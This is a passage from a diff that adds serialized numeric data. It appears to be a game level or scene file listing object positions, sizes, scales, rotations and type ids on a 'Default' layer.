+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 517,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4142.353515625,
+ 796.3292846679688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 518,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4234.73046875,
+ 605.7069702148438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 519,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4234.73046875,
+ 700.7069702148438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 520,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4234.73046875,
+ 796.3301391601562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 521,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4326.158203125,
+ 605.443115234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 522,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4326.158203125,
+ 700.443115234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 523,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4326.158203125,
+ 796.0662841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 525,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3683.82275390625,
+ 891.6270141601562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 526,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3775.25146484375,
+ 891.3631591796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 527,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3867.6279296875,
+ 891.364013671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 528,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3959.05615234375,
+ 891.1001586914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 531,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4050.925048828125,
+ 890.910888671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 532,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4142.353515625,
+ 890.6470336914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 533,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4234.73046875,
+ 890.6478881835938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 534,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4326.158203125,
+ 890.384033203125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 535,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4766.94189453125,
+ 1066.620483398438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 538,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4858.94189453125,
+ 1066.620483398438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 542,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4949.94189453125,
+ 1066.620483398438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 543,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5041.94189453125,
+ 1066.620483398438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 545,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5133.94189453125,
+ 1066.620483398438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 555,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5225.94189453125,
+ 1066.620483398438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 560,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 856,
+ 623,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 507,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1304,
+ 614,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5711,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1304,
+ 514,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5715,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1304,
+ 417,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5716,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1126,
+ 148,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5717,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1672,
+ 423,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5718,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1763,
+ 618,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5719,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2606,
+ 613,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5720,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3071,
+ 425,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5721,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3603,
+ 420,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5722,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3989,
+ 442,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5723,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4449,
+ 561,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5724,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4690,
+ 749,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5725,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2197.5234375,
+ 649.0734252929688,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 359,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2228.5234375,
+ 649.0734252929688,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 360,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2259.5234375,
+ 649.0734252929688,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 361,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2786.50537109375,
+ 602.9190063476562,
+ 0,
+ 126.465202331543,
+ 120.0129013061523,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 541,
+ 506,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 1,
+ 10,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 0
+ ],
+ [
+ 1
+ ],
+ [
+ 200,
+ 1500,
+ 1500,
+ 650,
+ 1500,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 352.8447265625,
+ 798.59375,
+ 0,
+ 736,
+ 464.8125610351563,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 529,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1484,
+ 989.1807861328125,
+ 0,
+ 1194,
+ 466.6384887695313,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5729,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1483.535034179688,
+ 607.5352783203125,
+ 0,
+ 274.92236328125,
+ 464.3338012695313,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5730,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1575.320556640625,
+ 703.253173828125,
+ 0,
+ 274.92236328125,
+ 464.3348083496094,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5731,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2409.377685546875,
+ 893.37890625,
+ 0,
+ 1400,
+ 463,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5732,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3294,
+ 794.4871826171875,
+ 0,
+ 368,
+ 660.025634765625,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5733,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4007,
+ 939.171875,
+ 0,
+ 734,
+ 749.6563720703125,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5734,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5090,
+ 1211.535034179688,
+ 0,
+ 734,
+ 750.929931640625,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5735,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 828,
+ 786.03271484375,
+ 0,
+ 159,
+ 463,
+ 0,
+ -0.7853984832763672,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5736,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1122.538818359375,
+ 285,
+ 0,
+ 92,
+ 52,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5737,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3584.7255859375,
+ 594.3934326171875,
+ 0,
+ 159,
+ 463,
+ 0,
+ -0.7853984832763672,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5738,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4508.5693359375,
+ 769.039794921875,
+ 0,
+ 159,
+ 463,
+ 0,
+ -0.9162979125976562,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5739,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 108,
+ 881,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5740,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 486.5756530761719,
+ 881,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5742,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 865.324462890625,
+ 881.7505493164062,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5743,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1243.900146484375,
+ 881.7505493164062,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5744,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1625.18115234375,
+ 881.54443359375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5745,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2004.18115234375,
+ 881.54443359375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5746,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2382.18115234375,
+ 882.54443359375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5747,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2761.18115234375,
+ 882.54443359375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5748,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3141.390869140625,
+ 882.2872924804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5749,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3520.390869140625,
+ 882.2872924804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5750,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3898.390869140625,
+ 883.2872924804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5751,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4277.390625,
+ 883.2872924804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5752,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4658.390625,
+ 882.2872924804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5753,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5037.390625,
+ 882.2872924804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5754,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5415.390625,
+ 883.2872924804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
